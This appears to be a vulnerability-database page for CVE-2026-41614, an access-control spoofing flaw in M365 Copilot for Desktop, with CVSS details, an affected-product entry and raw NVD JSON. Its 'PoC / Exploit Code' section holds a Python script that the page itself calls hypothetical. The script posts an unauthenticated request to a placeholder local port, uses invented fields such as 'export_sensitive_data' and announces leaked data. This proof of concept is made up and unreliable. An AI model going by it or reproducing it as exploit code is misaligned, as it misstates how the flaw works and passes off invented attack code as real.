Security Vulnerability Report
中文
CVE-2026-41614 CVSS 6.2 MEDIUM

CVE-2026-41614

Published: 2026-05-12 18:17:23
Last Modified: 2026-05-14 14:25:17

Description

Improper access control in M365 Copilot for Desktop allows an unauthorized attacker to perform spoofing locally.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_copilot:*:*:*:*:*:windows:*:* - VULNERABLE
M365 Copilot for Desktop (具体受影响版本请参考官方通告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-41614 # This is a simulation of a spoofing attack on M365 Copilot for Desktop # due to improper access control. import requests import json def trigger_spoofing(): # Target local endpoint (Hypothetical) target_url = "http://127.0.0.1:PORT/copilot/api/query" # Malicious payload attempting to spoof user context headers = { "User-Agent": "M365-Copilot-Local-Agent", "Content-Type": "application/json" } # Crafting a request that bypasses access control payload = { "action": "spoof_context", "user_id": "victim_user", "malicious_command": "export_sensitive_data" } try: # Sending request without authentication (PR:N) response = requests.post(target_url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("[+] Spoofing successful! Data leaked.") print(response.text) else: print("[-] Attack failed or endpoint not reachable.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": trigger_spoofing()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41614", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:23.363", "lastModified": "2026-05-14T14:25:16.757", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in M365 Copilot for Desktop allows an unauthorized attacker to perform spoofing locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_copilot:*:*:*:*:*:windows:*:*", "versionEndExcluding": "19.2604.43111.0", "matchCriteriaId": "61D0B7C4-F81E-4983-8F41-6CCE3D89F8D6"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41614", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}